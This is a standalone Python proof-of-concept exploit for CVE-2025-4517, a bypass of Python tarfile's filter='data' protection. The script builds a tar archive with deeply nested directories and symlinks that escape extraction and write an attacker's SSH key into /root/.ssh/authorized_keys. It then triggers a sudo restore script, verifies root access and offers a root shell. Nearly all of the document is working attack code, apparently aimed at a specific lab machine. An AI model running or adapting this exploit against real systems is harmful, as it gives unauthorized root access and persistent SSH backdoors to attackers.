Python tarfile `filter="data"` Bypass via PATH_MAX/realpath Confusion (CVE-2025-4517)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211

#!/usr/bin/env python3
"""
CVE-2025-4517 - Python tarfile filter="data" Bypass via PATH_MAX Overflow
Writes an SSH public key to /root/.ssh/authorized_keys for root access.
Affected: Python 3.8.0 - 3.13.1

Usage: python3 exploit.py [-k /path/to/key.pub]
"""

import argparse
import io
import os
import subprocess
import sys
import tarfile


def generate_ssh_keypair():
    """Generate a temporary SSH keypair and return (private_key_path, public_key)."""
    key_path = "/tmp/cve_2025_4517_key"
    if os.path.exists(key_path):
        os.remove(key_path)
    if os.path.exists(f"{key_path}.pub"):
        os.remove(f"{key_path}.pub")

    result = subprocess.run(
        ["ssh-keygen", "-t", "ed25519", "-f", key_path, "-N", "", "-q"],
        capture_output=True
    )
    if result.returncode != 0:
        print(f"[-] ssh-keygen failed: {result.stderr.decode()}")
        sys.exit(1)

    with open(f"{key_path}.pub") as f:
        public_key = f.read().strip()

    print(f"[+] SSH keypair generated: {key_path}")
    return key_path, public_key


def create_exploit_tar(public_key, output_file):
    """
    Builds a malicious tar that bypasses filter="data" via PATH_MAX confusion.

    Flow:
      1. Nested dirs with 247-char names create paths > 4096 bytes
      2. os.path.realpath() silently stops resolving at PATH_MAX
      3. filter="data" checks the unresolved path (safe-looking)
      4. Kernel resolves the real path during extraction (escapes sandbox)
      5. Regular file written through the escaped symlink lands in /root/.ssh/
    """
    print("[*] Creating exploit tar...")

    comp  = "d" * 247
    steps = "abcdefghijklmnop"  # 16 levels deep
    path  = ""

    pubkey_entry = (public_key + "\n").encode()

    with tarfile.open(output_file, mode="w") as tar:

        # Deep nested directories + single-char symlinks to long names
        for i in steps:
            dir_entry = tarfile.TarInfo(os.path.join(path, comp))
            dir_entry.type = tarfile.DIRTYPE
            tar.addfile(dir_entry)

            sym_entry = tarfile.TarInfo(os.path.join(path, i))
            sym_entry.type = tarfile.SYMTYPE
            sym_entry.linkname = comp
            tar.addfile(sym_entry)

            path = os.path.join(path, comp)

        # Symlink going up 16 levels from inside the deep path
        linkpath = os.path.join("/".join(steps), "l" * 254)
        traversal = tarfile.TarInfo(linkpath)
        traversal.type = tarfile.SYMTYPE
        traversal.linkname = "../" * len(steps)
        tar.addfile(traversal)

        # Escape symlink pointing to /root.
        # filter="data" resolves "escape" -> linkpath + /../../../../../../../root
        # but linkpath is so long that realpath() stops at PATH_MAX and
        # sees the path as still inside the staging dir — check passes.
        # The kernel resolves it correctly during extraction.
        escape = tarfile.TarInfo("escape")
        escape.type = tarfile.SYMTYPE
        escape.linkname = linkpath + "/../../../../../../../root"
        tar.addfile(escape)

        # Write .ssh dir through the escape symlink
        ssh_dir = tarfile.TarInfo("escape/.ssh")
        ssh_dir.type = tarfile.DIRTYPE
        ssh_dir.mode = 0o700
        tar.addfile(ssh_dir)

        # Write the public key directly through the escape symlink.
        # filter="data" tries realpath("escape/.ssh/authorized_keys") but
        # "escape" itself points to the long path, exceeding PATH_MAX again —
        # check passes, kernel writes to /root/.ssh/authorized_keys.
        payload = tarfile.TarInfo("escape/.ssh/authorized_keys")
        payload.type = tarfile.REGTYPE
        payload.size = len(pubkey_entry)
        tar.addfile(payload, fileobj=io.BytesIO(pubkey_entry))

    print(f"[+] Exploit tar created: {output_file}")
    return output_file


def deploy_and_execute(tar_file, backup_id="9999"):
    """Copy the exploit tar to the backup dir and trigger extraction as root."""
    backup_dir  = "/opt/backup_clients/backups"
    backup_file = f"backup_{backup_id}.tar"
    backup_path = os.path.join(backup_dir, backup_file)

    print(f"[*] Deploying exploit to: {backup_path}")
    try:
        subprocess.run(["cp", tar_file, backup_path], check=True)
        print("[+] Exploit deployed successfully")
    except subprocess.CalledProcessError:
        print("[-] Failed to deploy exploit — check write permissions on backups/")
        return False

    print("[*] Triggering extraction via vulnerable script...")
    cmd = [
        "sudo",
        "/usr/local/bin/python3",
        "/opt/backup_clients/restore_backup_clients.py",
        "-b", backup_file,
        "-r", f"restore_pwn{backup_id}",
    ]

    result = subprocess.run(cmd, capture_output=True, text=True)
    print(result.stdout)
    if result.returncode != 0:
        print(f"[-] Extraction failed:\n{result.stderr}")
        return False

    print("[+] Extraction completed")
    return True


def verify_exploit(key_path):
    """Try SSH as root using the generated key."""
    print("[*] Verifying exploit via SSH...")
    result = subprocess.run(
        [
            "ssh", "-i", key_path,
            "-o", "StrictHostKeyChecking=no",
            "-o", "ConnectTimeout=5",
            "root@localhost", "id"
        ],
        capture_output=True, text=True
    )
    if "uid=0" in result.stdout:
        print(f"[+] SUCCESS! SSH as root confirmed: {result.stdout.strip()}")
        return True
    else:
        print(f"[-] SSH verification failed: {result.stderr.strip()}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="PoC exploit for CVE-2025-4517 - tarfile filter bypass for root SSH access"
    )
    parser.add_argument(
        "-k", "--key",
        help="Path to existing SSH public key (default: generate a new keypair)"
    )
    args = parser.parse_args()

    if args.key:
        with open(args.key) as f:
            public_key = f.read().strip()
        key_path = args.key.replace(".pub", "")
        print(f"[*] Using provided public key: {args.key}")
    else:
        key_path, public_key = generate_ssh_keypair()

    exploit_tar = "/tmp/cve_2025_4517_exploit.tar"
    create_exploit_tar(public_key, exploit_tar)

    if not deploy_and_execute(exploit_tar):
        print("[-] Exploit failed during deployment/execution")
        sys.exit(1)

    if verify_exploit(key_path):
        print("\n" + "=" * 60)
        print("[+] EXPLOITATION SUCCESSFUL!")
        print(f"[+] SSH into root with: ssh -i {key_path} root@localhost")
        print("=" * 60 + "\n")
        answer = input("[?] Open root shell now? (y/n): ")
        if answer.lower() == "y":
            os.execvp("ssh", ["ssh", "-i", key_path, "-o", "StrictHostKeyChecking=no", "root@localhost"])
    else:
        print("[-] Exploit verification failed")
        print(f"[*] Try manually: ssh -i {key_path} root@localhost")
        sys.exit(1)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)